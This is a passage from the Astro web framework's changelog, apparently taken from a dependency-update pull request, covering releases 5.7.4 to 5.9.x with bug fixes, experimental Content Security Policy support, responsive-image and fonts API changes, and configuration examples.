'@&#8203;example/my-adapter', hooks: { 'astro:config:done': ({ setAdapter }) => { setAdapter({ name: '@&#8203;example/my-adapter', serverEntrypoint: '@&#8203;example/my-adapter/server.js', adapterFeatures: { experimentalStaticHeaders: true, }, }); }, }, }; } ``` See the [Adapter API docs](https://docs.astro.build/en/reference/adapter-reference/#adapter-features) for more information about providing adapter features. - [#&#8203;13697](https://github.com/withastro/astro/pull/13697) [`af83b85`](https://github.com/withastro/astro/commit/af83b85d6ea1e2e27ee2b9357f794fee0418f453) Thanks [@&#8203;benosmac](https://github.com/benosmac)! - Fixes issues with fallback route pattern matching when `i18n.routing.fallbackType` is `rewrite`. - Adds conditions for route matching in `generatePath` when building fallback routes and checking for existing translated pages Now for a route to be matched it needs to be inside a named `[locale]` folder. This fixes an issue where `route.pattern.test()` incorrectly matched dynamic routes, causing the page to be skipped. - Adds conditions for route matching in `findRouteToRewrite` Now the requested pathname must exist in `route.distURL` for a dynamic route to match. This fixes an issue where `route.pattern.test()` incorrectly matched dynamic routes, causing the build to fail. - [#&#8203;13924](https://github.com/withastro/astro/pull/13924) [`1cd8c3b`](https://github.com/withastro/astro/commit/1cd8c3bafca39f3cfe2178d5db72480d30ed28c2) Thanks [@&#8203;qw-in](https://github.com/qw-in)! - Fixes an edge case where `isPrerendered` was incorrectly set to `false` for static redirects. - [#&#8203;13926](https://github.com/withastro/astro/pull/13926) [`953a249`](https://github.com/withastro/astro/commit/953a24924eda1ea564c97d10d68c97cbbc9db7a4) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the experimental CSP `meta` element wasn't placed in the `<head>` element as early as possible, causing these policies to not apply to styles and scripts that came before the `meta` element. ### [`v5.9.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#592) [Compare Source](https://github.com/withastro/astro/compare/astro@5.9.1...astro@5.9.2) ##### Patch Changes - [#&#8203;13919](https://github.com/withastro/astro/pull/13919) [`423fe60`](https://github.com/withastro/astro/commit/423fe6048dfb4c24d198611f60a5815459efacd3) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where Astro added quotes to the CSP resources. Only certain resources require quotes (e.g. `'self'` but not `https://cdn.example.com`), so Astro no longer adds quotes to any resources. You must now provide the quotes yourself for resources such as `'self'` when necessary: ```diff export default defineConfig({ experimental: { csp: { styleDirective: { resources: [ - "self", + "'self'", "https://cdn.example.com" ] } } } }) ``` - [#&#8203;13914](https://github.com/withastro/astro/pull/13914) [`76c5480`](https://github.com/withastro/astro/commit/76c5480ac0ab1f64df38c23a848f8d28f7640562) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - **BREAKING CHANGE to the experimental Content Security Policy feature only** Removes support for experimental Content Security Policy (CSP) when using the `<ClientRouter />` component for view transitions. It is no longer possible to enable experimental CSP while using Astro's view transitions. Support was already unstable with the `<ClientRouter />` because CSP required making its underlying implementation asynchronous. This caused breaking changes for several users and therefore, this PR removes support completely. If you are currently using the component for view transitions, please remove the experimental CSP flag as they cannot be used together. ```diff import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { - csp: true } }); ``` Alternatively, to continue using experimental CSP in your project, you can [consider migrating to the browser native View Transition API](https://events-3bg.pages.dev/jotter/astro-view-transitions/) and remove the `<ClientRouter />` from your project. You may be able to achieve similar results if you are not using Astro's enhancements to the native View Transitions and Navigation APIs. Support might be reintroduced in future releases. You can follow this experimental feature's development in [the CSP RFC](https://github.com/withastro/roadmap/blob/feat/rfc-csp/proposals/0055-csp.md). ### [`v5.9.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#591) [Compare Source](https://github.com/withastro/astro/compare/astro@5.9.0...astro@5.9.1) ##### Patch Changes - [#&#8203;13899](https://github.com/withastro/astro/pull/13899) [`7a1303d`](https://github.com/withastro/astro/commit/7a1303dbcebe0f0b5c8c3278669af5577115c0a3) Thanks [@&#8203;reknih](https://github.com/reknih)! - Fix bug where error pages would return invalid bodies if the upstream response was compressed - [#&#8203;13902](https://github.com/withastro/astro/pull/13902) [`051bc30`](https://github.com/withastro/astro/commit/051bc3025523756474ff5be350a7680e9fed3384) Thanks [@&#8203;arHSM](https://github.com/arHSM)! - Fixes a bug where vite virtual module ids were incorrectly added in the dev server - [#&#8203;13905](https://github.com/withastro/astro/pull/13905) [`81f71ca`](https://github.com/withastro/astro/commit/81f71ca6fd8b313b055eb4659c02a8e0e0335204) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - Fixes wrong contents in CSP meta tag. - [#&#8203;13907](https://github.com/withastro/astro/pull/13907) [`8246bcc`](https://github.com/withastro/astro/commit/8246bcc0008880a49d9374136ec44488b629a2c3) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes a bug that caused view transition names to be lost. - [#&#8203;13901](https://github.com/withastro/astro/pull/13901) [`37fa0a2`](https://github.com/withastro/astro/commit/37fa0a228cdfdaf20dd135835fdc84337f2d9637) Thanks [@&#8203;ansg191](https://github.com/ansg191)! - fix fallback not being removed when server island is rendered ### [`v5.9.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#590) [Compare Source](https://github.com/withastro/astro/compare/astro@5.8.2...astro@5.9.0) ##### Minor Changes - [#&#8203;13802](https://github.com/withastro/astro/pull/13802) [`0eafe14`](https://github.com/withastro/astro/commit/0eafe14b08c627b116842ea0a5299a00f9baa3d1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds experimental Content Security Policy (CSP) support CSP is an important feature to provide fine-grained control over resources that can or cannot be downloaded and executed by a document. In particular, it can help protect against [cross-site scripting (XSS)](https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting) attacks. Enabling this feature adds additional security to Astro's handling of processed and bundled scripts and styles by default, and allows you to further configure these, and additional, content types. This new experimental feature has been designed to work in every Astro rendering environment (static pages, dynamic pages and single page applications), while giving you maximum flexibility and with type-safety in mind. It is compatible with most of Astro's features such as client islands, and server islands, although Astro's view transitions using the `<ClientRouter />` are not yet fully supported. Inline scripts are not supported out of the box, but you can provide your own hashes for external and inline scripts. To enable this feature, add the experimental flag in your Astro config: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { csp: true, }, }); ``` For more information on enabling and using this feature in your project, see the [Experimental CSP docs](https://docs.astro.build/en/reference/experimental-flags/csp/). For a complete overview, and to give feedback on this experimental API, see the [Content Security Policy RFC](https://github.com/withastro/roadmap/blob/feat/rfc-csp/proposals/0055-csp.md). - [#&#8203;13850](https://github.com/withastro/astro/pull/13850) [`1766d22`](https://github.com/withastro/astro/commit/1766d222e7bb4adb6d15090e2d6331a0d8978303) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Provides a Markdown renderer to content loaders When creating a content loader, you will now have access to a `renderMarkdown` function that allows you to render Markdown content directly within your loaders. It uses the same settings and plugins as the renderer used for Markdown files in Astro, and follows any Markdown settings you have configured in your Astro project. This allows you to render Markdown content from various sources, such as a CMS or other data sources, directly in your loaders without needing to preprocess the Markdown content separately. ```ts import type { Loader } from 'astro/loaders'; import { loadFromCMS } from './cms'; export function myLoader(settings): Loader { return { name: 'my-loader', async load({ renderMarkdown, store }) { const entries = await loadFromCMS(); store.clear(); for (const entry of entries) { // Assume each entry has a 'content' field with markdown content store.set({ id: entry.id, data: entry, rendered: await renderMarkdown(entry.content), }); } }, }; } ``` The return value of `renderMarkdown` is an object with two properties: `html` and `metadata`. These match the `rendered` property of content entries in content collections, so you can use them to render the content in your components or pages. ```astro --- import { getEntry, render } from 'astro:content'; const entry = await getEntry('my-collection', Astro.params.id); const { Content } = await render(entry); --- <Content /> ``` For more information, see the [Content Loader API docs](https://docs.astro.build/en/reference/content-loader-reference/#rendermarkdown). - [#&#8203;13887](https://github.com/withastro/astro/pull/13887) [`62f0668`](https://github.com/withastro/astro/commit/62f0668aa1e066c1c07ee0e774192def4cac43c4) Thanks [@&#8203;yanthomasdev](https://github.com/yanthomasdev)! - Adds an option for integration authors to suppress adapter warning/errors in `supportedAstroFeatures`. This is useful when either a warning/error isn't applicable in a specific context or the default one might conflict and confuse users. To do so, you can add `suppress: "all"` (to suppress both the default and custom message) or `suppress: "default"` (to only suppress the default one): ```ts setAdapter({ name: 'my-astro-integration', supportedAstroFeatures: { staticOutput: 'stable', hybridOutput: 'stable', sharpImageService: { support: 'limited', message: "The sharp image service isn't available in the deploy environment, but will be used by prerendered pages on build.", suppress: 'default', }, }, }); ``` For more information, see the [Adapter API reference docs](https://docs.astro.build/en/reference/adapter-reference/#astro-features). ### [`v5.8.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#582) [Compare Source](https://github.com/withastro/astro/compare/astro@5.8.1...astro@5.8.2) ##### Patch Changes - [#&#8203;13877](https://github.com/withastro/astro/pull/13877) [`5a7797f`](https://github.com/withastro/astro/commit/5a7797fdd6ad3f1377e2719c79da9486a232dfcd) Thanks [@&#8203;yuhang-dong](https://github.com/yuhang-dong)! - Fixes a bug that caused `Astro.rewrite` to fail when used in `sequence`d middleware - [#&#8203;13872](https://github.com/withastro/astro/pull/13872) [`442b841`](https://github.com/withastro/astro/commit/442b8413dc9d29892499cfa97e54798a3a6ee136) Thanks [@&#8203;isVivek99](https://github.com/isVivek99)! - Fixes rendering of the `download` attribute when it has a boolean value ### [`v5.8.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#581) [Compare Source](https://github.com/withastro/astro/compare/astro@5.8.0...astro@5.8.1) ##### Patch Changes - [#&#8203;13037](https://github.com/withastro/astro/pull/13037) [`de2fc9b`](https://github.com/withastro/astro/commit/de2fc9b3c406c21683b8a692fafa3cbc77ca552b) Thanks [@&#8203;nanarino](https://github.com/nanarino)! - Fixes rendering of the `popover` attribute when it has a boolean value - [#&#8203;13851](https://github.com/withastro/astro/pull/13851) [`45ae95a`](https://github.com/withastro/astro/commit/45ae95a507d5e83b5e38ce1b338c3202ab7e8d76) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Allows disabling default styles for responsive images This change adds a new `image.experimentalDefaultStyles` option that allows you to disable the default styles applied to responsive images. When using experimental responsive images, Astro applies default styles to ensure the images resize correctly. In most cases this is what you want – and they are applied with low specificity so your own styles override them. However in some cases you may want to disable these default styles entirely. This is particularly useful when using Tailwind 4, because it uses CSS cascade layers to apply styles, making it difficult to override the default styles. `image.experimentalDefaultStyles` is a boolean option that defaults to `true`, so you can change it in your Astro config file like this: ```js export default { image: { experimentalDefaultStyles: false, }, experimental: { responsiveImages: true, }, }; ``` - [#&#8203;13858](https://github.com/withastro/astro/pull/13858) [`cb1a168`](https://github.com/withastro/astro/commit/cb1a1681c844737477670ac42bb051bf93fae0a3) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes the warning shown when client directives are used on Astro components - [#&#8203;12574](https://github.com/withastro/astro/pull/12574) [`da266d0`](https://github.com/withastro/astro/commit/da266d0578c1a603d6f57913c6fa8eefd61a354e) Thanks [@&#8203;apatel369](https://github.com/apatel369)! - Allows using server islands in mdx files - [#&#8203;13843](https://github.com/withastro/astro/pull/13843) [`fbcfa68`](https://github.com/withastro/astro/commit/fbcfa683d38f13378678c25b53cd789107752087) Thanks [@&#8203;z1haze](https://github.com/z1haze)! - Export type `AstroSession` to allow use in explicitly typed safe code. ### [`v5.8.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#580) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.14...astro@5.8.0) ##### Minor Changes - [#&#8203;13809](https://github.com/withastro/astro/pull/13809) [`3c3b492`](https://github.com/withastro/astro/commit/3c3b492375bd6a63f1fb6cede3685aff999be3c9) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Increases minimum Node.js version to 18.20.8 Node.js 18 has now reached end-of-life and should not be used. For now, Astro will continue to support Node.js 18.20.8, which is the final LTS release of Node.js 18, as well as Node.js 20 and Node.js 22 or later. We will drop support for Node.js 18 in a future release, so we recommend upgrading to Node.js 22 as soon as possible. See Astro's [Node.js support policy](https://docs.astro.build/en/upgrade-astro/#support) for more details. :warning: **Important note for users of Cloudflare Pages**: The current build image for Cloudflare Pages uses Node.js 18.17.1 by default, which is no longer supported by Astro. If you are using Cloudflare Pages you should [override the default Node.js version](https://developers.cloudflare.com/pages/configuration/build-image/#override-default-versions) to Node.js 22. This does not affect users of Cloudflare Workers, which uses Node.js 22 by default. ##### Patch Changes - Updated dependencies \[[`3c3b492`](https://github.com/withastro/astro/commit/3c3b492375bd6a63f1fb6cede3685aff999be3c9)]: - [@&#8203;astrojs/telemetry](https://github.com/astrojs/telemetry)@&#8203;3.3.0 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.2 ### [`v5.7.14`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5714) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.13...astro@5.7.14) ##### Patch Changes - [#&#8203;13773](https://github.com/withastro/astro/pull/13773) [`3aa5337`](https://github.com/withastro/astro/commit/3aa5337eaf01dbcc987dee9413c6985514ef7d6b) Thanks [@&#8203;sijad](https://github.com/sijad)! - Ignores lightningcss unsupported pseudo-class warning. - [#&#8203;13833](https://github.com/withastro/astro/pull/13833) [`5a6d2ae`](https://github.com/withastro/astro/commit/5a6d2aede4b397227be5acecfa9bfefb9a1af0f8) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes an issue where session modules would fail to resolve in Node.js < 20.6 - [#&#8203;13383](https://github.com/withastro/astro/pull/13383) [`f7f712c`](https://github.com/withastro/astro/commit/f7f712cc29f80c4f8096489d7368c2fda223e097) Thanks [@&#8203;Haberkamp](https://github.com/Haberkamp)! - Stop toolbar settings from overflowing - [#&#8203;13794](https://github.com/withastro/astro/pull/13794) [`85b19d8`](https://github.com/withastro/astro/commit/85b19d87b6416957c245bd3e239fbf6da2038075) Thanks [@&#8203;alexcarpenter](https://github.com/alexcarpenter)! - Exclude pre tags from `a11y-no-noninteractive-tabindex` audit check. - [#&#8203;13373](https://github.com/withastro/astro/pull/13373) [`50ef568`](https://github.com/withastro/astro/commit/50ef568413b5fe7add36c089b77f9f180739f43f) Thanks [@&#8203;jpwienekus](https://github.com/jpwienekus)! - Fixes a bug where highlights and tooltips render over the audit list window. - [#&#8203;13769](https://github.com/withastro/astro/pull/13769) [`e9fc456`](https://github.com/withastro/astro/commit/e9fc456b58511da3ae2f932256217b3db4c42998) Thanks [@&#8203;romanstetsyk](https://github.com/romanstetsyk)! - Expand ActionError codes to include all IANA-registered HTTP error codes. - [#&#8203;13668](https://github.com/withastro/astro/pull/13668) [`866285a`](https://github.com/withastro/astro/commit/866285a5fb3e4ba9d8ca6aadb129d3a6ed2b0f69) Thanks [@&#8203;sapphi-red](https://github.com/sapphi-red)! - Replaces internal CSS chunking behavior for Astro components' scoped styles to use Vite's `cssScopeTo` feature. The feature is a port of Astro's implementation so this should not change the behavior. ### [`v5.7.13`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5713) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.12...astro@5.7.13) ##### Patch Changes - [#&#8203;13761](https://github.com/withastro/astro/pull/13761) [`a2e8463`](https://github.com/withastro/astro/commit/a2e84631ad0a8dbc466d1301cc07a031334ffe5b) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Adds new content collections errors - [#&#8203;13788](https://github.com/withastro/astro/pull/13788) [`7d0b7ac`](https://github.com/withastro/astro/commit/7d0b7acb38d5140939d9660b2cf5718e9a8b2c15) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where an error would not be thrown when using the `<Font />` component from the experimental fonts API without adding fonts in the Astro config - [#&#8203;13784](https://github.com/withastro/astro/pull/13784) [`d7a1889`](https://github.com/withastro/astro/commit/d7a188988427d1b157d27b789f918c208ece41f7) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes the experimental fonts API to correctly take `config.base`, `config.build.assets` and `config.build.assetsPrefix` into account - [#&#8203;13777](https://github.com/withastro/astro/pull/13777) [`a56b8ea`](https://github.com/withastro/astro/commit/a56b8eaec486d26cbc61a7c94c152f4ee8cabc7a) Thanks [@&#8203;L4Ph](https://github.com/L4Ph)! - Fixed an issue where looping GIF animation would stop when converted to WebP - [#&#8203;13566](https://github.com/withastro/astro/pull/13566) [`0489d8f`](https://github.com/withastro/astro/commit/0489d8fe96fb8ee90284277358e38f55c8e0ab1d) Thanks [@&#8203;TheOtterlord](https://github.com/TheOtterlord)! - Fix build errors being ignored when build.concurrency > 1 ### [`v5.7.12`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5712) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.11...astro@5.7.12) ##### Patch Changes - [#&#8203;13752](https://github.com/withastro/astro/pull/13752) [`a079c21`](https://github.com/withastro/astro/commit/a079c21629ecf95b7539d9afdf90831266d00daf) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves handling of font URLs not ending with a file extension when using the experimental fonts API - [#&#8203;13750](https://github.com/withastro/astro/pull/13750) [`7d3127d`](https://github.com/withastro/astro/commit/7d3127db9191556d2ead8a1ea35acb972ee67ec3) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Allows the ClientRouter to open new tabs or windows when submitting forms by clicking while holding the Cmd, Ctrl, or Shift key. - [#&#8203;13765](https://github.com/withastro/astro/pull/13765) [`d874fe0`](https://github.com/withastro/astro/commit/d874fe08f903a44cd8017313accbc02bcf9cb7d9) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where font sources with relative protocol URLs would fail when using the experimental fonts API - [#&#8203;13640](https://github.com/withastro/astro/pull/13640) [`5e582e7`](https://github.com/withastro/astro/commit/5e582e7b4d56425d622c97ad933b1da0e7434155) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Allows inferring `weight` and `style` when using the local provider of the experimental fonts API If you want Astro to infer those properties directly from your local font files, leave them undefined: ```js { // No weight specified: infer style: 'normal'; // Do not infer } ``` ### [`v5.7.11`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5711) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.10...astro@5.7.11) ##### Patch Changes - [#&#8203;13734](https://github.com/withastro/astro/pull/13734) [`30aec73`](https://github.com/withastro/astro/commit/30aec7372b630649e1e484d9453842d3c36eaa26) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Loosen content layer schema types - [#&#8203;13751](https://github.com/withastro/astro/pull/13751) [`5816b8a`](https://github.com/withastro/astro/commit/5816b8a6d1295b297c9562ec245db6c60c37f1b1) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates `unifont` to support subsets when using the `google` provider with the experimental fonts API - [#&#8203;13756](https://github.com/withastro/astro/pull/13756) [`d4547ba`](https://github.com/withastro/astro/commit/d4547bafef559b4f9ecd6e407d531aa51c46f7be) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a terminal warning when a remote provider returns no data for a family when using the experimental fonts API - [#&#8203;13742](https://github.com/withastro/astro/pull/13742) [`f599463`](https://github.com/withastro/astro/commit/f5994639120552e38e65c5d4d9688c1a3aa92f90) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes optimized fallback css generation to properly add a `src` when using the experimental fonts API - [#&#8203;13740](https://github.com/withastro/astro/pull/13740) [`6935540`](https://github.com/withastro/astro/commit/6935540e44e5c75fd2106e3ae37add5e8ae7c67f) Thanks [@&#8203;vixalien](https://github.com/vixalien)! - Fix cookies set after middleware did a rewrite with `next(url)` not being applied - [#&#8203;13759](https://github.com/withastro/astro/pull/13759) [`4a56d0a`](https://github.com/withastro/astro/commit/4a56d0a44fb472ef2e3a9999c1b69a52da1afed3) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Improved the error handling of certain error cases. ### [`v5.7.10`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5710) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.9...astro@5.7.10) ##### Patch Changes - [#&#8203;13731](https://github.com/withastro/astro/pull/13731) [`c3e80c2`](https://github.com/withastro/astro/commit/c3e80c25b90c803e2798b752583a8e77cdad3146) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - update vite to latest version for fixing CVE ### [`v5.7.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#579) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.8...astro@5.7.9) ##### Patch Changes - [#&#8203;13711](https://github.com/withastro/astro/pull/13711) [`2103991`](https://github.com/withastro/astro/commit/210399155a6004e8e975f9024ae6d7e9945ae9a9) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes height for responsive images ### [`v5.7.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#578) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.7...astro@5.7.8) ##### Patch Changes - [#&#8203;13715](https://github.com/withastro/astro/pull/13715) [`b32dffa`](https://github.com/withastro/astro/commit/b32dffab6e16388c87fb5e8bb423ed02d88586bb) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates `unifont` to fix a case where a `unicodeRange` related error would be thrown when using the experimental fonts API ### [`v5.7.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#577) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.6...astro@5.7.7) ##### Patch Changes - [#&#8203;13705](https://github.com/withastro/astro/pull/13705) [`28f8716`](https://github.com/withastro/astro/commit/28f8716ceef8b30ebb4da8c6ef32acc72405c1e6) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates unifont to latest and adds support for `fetch` options from remote providers when using the experimental fonts API - [#&#8203;13692](https://github.com/withastro/astro/pull/13692) [`60d5be4`](https://github.com/withastro/astro/commit/60d5be4af49a72e3739f74424c3d5c423f98c133) Thanks [@&#8203;Le0Developer](https://github.com/Le0Developer)! - Fixes a bug where Astro couldn't probably use `inferSize` for images that contain apostrophe `'` in their name. - [#&#8203;13698](https://github.com/withastro/astro/pull/13698) [`ab98f88`](https://github.com/withastro/astro/commit/ab98f884f2f8639a8f385cdbc919bc829014f64d) Thanks [@&#8203;sarah11918](https://github.com/sarah11918)! - Improves the configuration reference docs for the `adapter` entry with more relevant text and links. - [#&#8203;13706](https://github.com/withastro/astro/pull/13706) [`b4929ae`](https://github.com/withastro/astro/commit/b4929ae9e77f74bde251e81abc0a80e160de774a) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes typechecking for content config schema - [#&#8203;13653](https://github.com/withastro/astro/pull/13653) [`a7b2dc6`](https://github.com/withastro/astro/commit/a7b2dc60ca94f42a66575feb190e8b0f36b48e7c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Reduces the amount of preloaded files for the local provider when using the experimental fonts API - [#&#8203;13653](https://github.com/withastro/astro/pull/13653) [`a7b2dc6`](https://github.com/withastro/astro/commit/a7b2dc60ca94f42a66575feb190e8b0f36b48e7c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where invalid CSS was emitted when using an experimental fonts API family name containing a space ### [`v5.7.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#576) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.5...astro@5.7.6) ##### Patch Changes - [#&#8203;13703](https://github.com/withastro/astro/pull/13703) [`659904b`](https://github.com/withastro/astro/commit/659904bd999c6abdd62f18230954b7097dcbb7fe) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug where empty fallbacks could not be provided when using the experimental fonts API - [#&#8203;13680](https://github.com/withastro/astro/pull/13680) [`18e1b97`](https://github.com/withastro/astro/commit/18e1b978f045f4c21d9cb4241a8c7fbb956d2efe) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the `UnsupportedExternalRedirect` error message to include more details such as the concerned destination - [#&#8203;13703](https://github.com/withastro/astro/pull/13703) [`659904b`](https://github.com/withastro/astro/commit/659904bd999c6abdd62f18230954b7097dcbb7fe) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Simplifies styles for experimental responsive images :warning: **BREAKING CHANGE FOR EXPERIMENTAL RESPONSIVE IMAGES ONLY** :warning: The generated styles for image layouts are now simpler and easier to override. Previously the responsive image component used CSS to set the size and aspect ratio of the images, but this is no longer needed. Now the styles just include `object-fit` and `object-position` for all images, and sets `max-width: 100%` for constrained images and `width: 100%` for full-width images. This is an implementation change only, and most users will see no change. However, it may affect any custom styles you have added to your responsive images. Please check your rendered images to determine whether any change to your CSS is needed. The styles now use the [`:where()` pseudo-class](https://developer.mozilla.org/en-US/docs/Web/CSS/:where), which has a [specificity](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_cascade/Specificity) of 0, meaning that it is easy to override with your own styles. You can now be sure that your own classes will always override the applied styles, as will global styles on `img`. An exception is Tailwind 4, which uses [cascade layers](https://developer.mozilla.org/en-US/docs/Web/CSS/@&#8203;layer), meaning the rules are always lower specificity. Astro supports browsers that do not support cascade layers, so we cannot use this. If you need to override the styles using Tailwind 4, you must use `!important` classes. Do check if this is needed though: there may be a layout that is more appropriate for your use case. - [#&#8203;13703](https://github.com/withastro/astro/pull/13703) [`659904b`](https://github.com/withastro/astro/commit/659904bd999c6abdd62f18230954b7097dcbb7fe) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds warnings about using local font files in the `publicDir` when the experimental fonts API is enabled. - [#&#8203;13703](https://github.com/withastro/astro/pull/13703) [`659904b`](https://github.com/withastro/astro/commit/659904bd999c6abdd62f18230954b7097dcbb7fe) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Renames experimental responsive image layout option from "responsive" to "constrained" :warning: **BREAKING CHANGE FOR EXPERIMENTAL RESPONSIVE IMAGES ONLY** :warning: The layout option called `"responsive"` is renamed to `"constrained"` to better reflect its behavior. The previous name was causing confusion, because it is also the name of the feature. The `responsive` layout option is specifically for images that are displayed at the requested size, unless they do not fit the width of their container, at which point they would be scaled down to fit. They do not get scaled beyond the intrinsic size of the source image, or the `width` prop if provided. It became clear from user feedback that many people (understandably) thought that they needed to set `layout` to `responsive` if they wanted to use responsive images. They then struggled with overriding styles to make the image scale up for full-width hero images, for example, when they should have been using `full-width` layout. Renaming the layout to `constrained` should make it clearer that this layout is for when you want to constrain the maximum size of the image, but allow it to scale-down. ##### Upgrading If you set a default `image.experimentalLayout` in your `astro.config.mjs`, or set it on a per-image basis using the `layout` prop, you will need to change all occurrences to `constrained`: ```diff lang="ts" // astro.config.mjs export default { image: { - experimentalLayout: 'responsive', + experimentalLayout: 'constrained', }, } ``` ```diff lang="astro" // src/pages/index.astro --- import { Image } from 'astro:assets'; --- - <Image src="/image.jpg" layout="responsive" /> + <Image src="/image.jpg" layout="constrained" /> ``` Please [give feedback on the RFC](https://github.com/withastro/roadmap/pull/1051) if you have any questions or comments about the responsive images API. ### [`v5.7.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#575) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.4...astro@5.7.5) ##### Patch Changes - [#&#8203;13660](https://github.com/withastro/astro/pull/13660) [`620d15d`](https://github.com/withastro/astro/commit/620d15d8483dfb1822cd47833bc1653e0b704ccb) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Adds `server.allowedHosts` docs comment to `AstroUserConfig` - [#&#8203;13591](https://github.com/withastro/astro/pull/13591) [`5dd2d3f`](https://github.com/withastro/astro/commit/5dd2d3fde8a138ed611dedf39ffa5dfeeed315f8) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes unused code - [#&#8203;13669](https://github.com/withastro/astro/pull/13669) [`73f24d4`](https://github.com/withastro/astro/commit/73f24d400acdc48462a7bc5277b8cee2bcf97580) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where `Astro.originPathname` wasn't returning the correct value when using rewrites. - [#&#8203;13674](https://github.com/withastro/astro/pull/13674) [`42388b2`](https://github.com/withastro/astro/commit/42388b24d6eb866a3129118d22b2f6c71071d0bd) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where an experimental fonts API error would be thrown when using another `astro:assets` API - [#&#8203;13654](https://github.com/withastro/astro/pull/13654) [`4931457`](https://github.com/withastro/astro/commit/49314575a76b52b43e491a0a33c0ccaf9cafb058) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes `fontProviders.google()` so it can forward options to the unifont provider, when using the experimental fonts API - Updated dependencies \[[`5dd2d3f`](https://github.com/withastro/astro/commit/5dd2d3fde8a138ed611dedf39ffa5dfeeed315f8)]: - [@&#8203;astrojs/telemetry](https://github.com/astrojs/telemetry)@&#8203;3.2.1 ### [`v5.7.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#574) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.3...astro@5.7.4) ##### Patch Changes - [#&#8203;13647](https://github.com/withastro/astro/pull/13647) [`ffbe8f2`](https://github.com/withastro/astro/commit/ffbe8f27a3e897971432eed1fde566db328b540d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused a session error to be logged when using actions without sessions - [#&#8203;13646](https://github.com/withastro/astro/pull/13646) 